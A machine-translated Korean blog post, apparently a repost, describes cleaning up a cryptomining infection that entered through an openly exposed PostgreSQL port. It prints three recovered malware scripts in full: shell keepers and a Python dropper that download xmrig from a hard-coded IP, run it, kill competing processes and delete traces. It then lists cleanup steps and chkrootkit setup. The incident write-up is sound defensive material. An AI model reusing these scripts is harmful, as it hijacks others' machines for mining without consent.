서버 채굴 처리 프로세스

6862 단어
내부 네트워크에 서버 cpu가 가득 찼습니다. 6감 추측에 의하면 광물 발굴 바이러스가 걸렸습니다. 다음은 cpu 가득 찬 모니터링 도표입니다. 서둘러 ssh가 시스템에 들어가서 다음 것입니다./x3e536747 프로세스는 대량의 cpu를 사용합니다. cpuloadaverage는 cpu 내부 핵수를 초과했습니다. 먼저 프로세스를 죽입니다. 추측할 필요가 없습니다. 나중에 계속 시작할 것입니다. 오픈 포트를 검사하고postgresql가 직접 대외적으로 개방된 것을 발견합니다.틀림없이 이 입구를 통해 들어왔을 것이다.외부 네트워크 pg 5432 포트 잠시 닫기;채굴 실행 경로를 찾았습니다. 모두/tmp 아래에 있습니다. 제가 복사해서 sh 스크립트를 넣었습니다. 모두 첫 번째 스크립트keeper-64를 연구합니다.sh
#!/bin/sh

sPid=$$
mPid=''
mName='/tmp/.jgqwrjqwkhdoaeyhq'

checkCmd() {
    command -v $1 >/dev/null 2>&1
}

downloader () {
    if checkCmd wget; then
        wget $1 -O $2 
    elif checkCmd curl; then
        curl $1 -o $2
    else
        if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
            python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        else
            python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        fi
    fi
    chmod +x $2
}

killer() {
    for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
        if [ $tmpVar = $sPid ]; then
            continue
        fi
        if [ $tmpVar = $mPid ]; then
            continue
        fi
        if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
            if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep jgqwrjqwkhdoaeyhq` ]; then
                echo "found jgqwrjqwkhdoaeyhq"
                continue
            fi
            kill -9 $tmpVar
            rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`
        fi
    done
}

runer() {
    if [ -z "$mPid" ]; then
        if [ ! -f $mName ]; then
            downloader http://165.227.51.68/xmrig-64 $mName
            $mName
        else
            $mName
        fi
    fi
    mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`
}

downloader http://165.227.51.68/xmrig-64 $mName
runer
killer
pkill python
while true; do
    sleep 10
    if ps -p $mPid > /dev/null; then
        killer
    else
        mPid=''
        runer
    fi
done

두 번째 스크립트 j23k6hl2k4jlk21.sh
#!/bin/sh

sPid=$$
mPid=''
mName='/tmp/.jgqwrjqwkhdoaeyhq'

checkCmd() {
    command -v $1 >/dev/null 2>&1
}

downloader () {
    if checkCmd wget; then
        wget $1 -O $2 
    elif checkCmd curl; then
        curl $1 -o $2
    else
        if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
            python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        else
            python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        fi
    fi
    chmod +x $2
}

killer() {
    for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do
        if [ $tmpVar = $sPid ]; then
            continue
        fi
        if [ $tmpVar = $mPid ]; then
            continue
        fi
        if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then
            if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep jgqwrjqwkhdoaeyhq` ]; then
                echo "found jgqwrjqwkhdoaeyhq"
                continue
            fi
            kill -9 $tmpVar
            rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`
        fi
    done
}

runer() {
    if [ -z "$mPid" ]; then
        if [ ! -f $mName ]; then
            downloader http://165.227.51.68/xmrig-64 $mName
            $mName
        else
            $mName
        fi
    fi
    mPid=`ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'`
}

downloader http://165.227.51.68/xmrig-64 $mName
runer
killer
pkill python
while true; do
    sleep 10
    if ps -p $mPid > /dev/null; then
        killer
    else
        mPid=''
        runer
    fi
done

세 번째python 스크립트
remote_path64 = "http://165.227.51.68/keeper-64.sh"
remote_path32 = "http://165.227.51.68/keeper-32.sh"
output_path = '/tmp/j23k6hl2k4jlk21.sh'
command = 'chmod 777 /tmp/j23k6hl2k4jlk21.sh&&sh /tmp/j23k6hl2k4jlk21.sh&&rm -rf /tmp/*.py'
#command = 'chmod 777 /tmp/jhkjqhwru1h4&&nohup /tmp/jhkjqhwru1h4&&rm -rf /tmp/*.py'

import platform
check = platform.architecture()
if "64bit" in check:
    remote_path = remote_path64
    print remote_path
elif "32bit" in check:
    remote_path = remote_path32
    print remote_path
else:
    exit()

def getRequest():
    request = ''
    try:
        # for python 3.x
        import urllib.request
        request = urllib.request
    except:
        # for python 2.x
        import urllib
        request = urllib
    return request

def download(url):
    request = getRequest()
    res = request.urlopen(remote_path)
    return res.read()

def put(path, data):
#    file = open(path, "wb")
    with open(path,'wb') as file:
        file.write(data)
#    file.close()

def run(cmd):
    import os
    os.system(cmd)

def main_station():
    data = download(remote_path)
    put(output_path, data)
    run(command)

main_station()

채광 바이러스 스크립트를 다운로드한 것이 미국의 넷stat-antup인 것을 발견하고 어떤 이상 IP 연결이 있는지 보았는데 내 서버가 프랑스의 한 IP와 80 방문 연결을 할 수 있다는 것을 발견했다. 생각하지 말고 이 두 IP를 직접 iptablesdrop해서 떨어뜨린다./tmp 디렉터리를 비우고/tmp 디렉터리를 볼 때 ls-al을 사용합니다. 채광 스크립트가 숨겨진 파일을 사용하는 것을 발견하기 때문입니다.계획 작업을 검사합니다. 이상cat/etc/passwd | grep bash에서 postgresql가 로그인할 수 있음을 발견했습니다.postgres:x:500:500:PostgreSQL:/opt/PostgreSQL/10:/sbin/nologin에서 nologin으로 루트 암호를 수정하고chkrootkit로 파일 명령이 바뀌었는지 확인하십시오. 실행 파일이 숨겨져 있음을 발견했습니다.Searching for Backdoor.Linux.Mokes.a.......INFECTED 삭제;루트 사용자 로그인 금지;하룻밤을 관찰하면 모든 것이 정상이다...chkrootkit 설치 사용 설명 첨부
 
yum install gcc gcc-c++ make glibc-static -y
 
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz—— ×××。。
tar -zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
echo $?  0 
mv chkrootkit-0.52 /usr/local/chkrootkit
 chkrootkit
/usr/local/chkrootkit/./chkrootkit  | grep INFECTED—— infected 。 。

실행 결과를 직접 실행합니다. 실행 오류가 발생하면 cant't find sshyum install openssh* - y
다음으로 전송:https://blog.51cto.com/12185273/2151388

좋은 웹페이지 즐겨찾기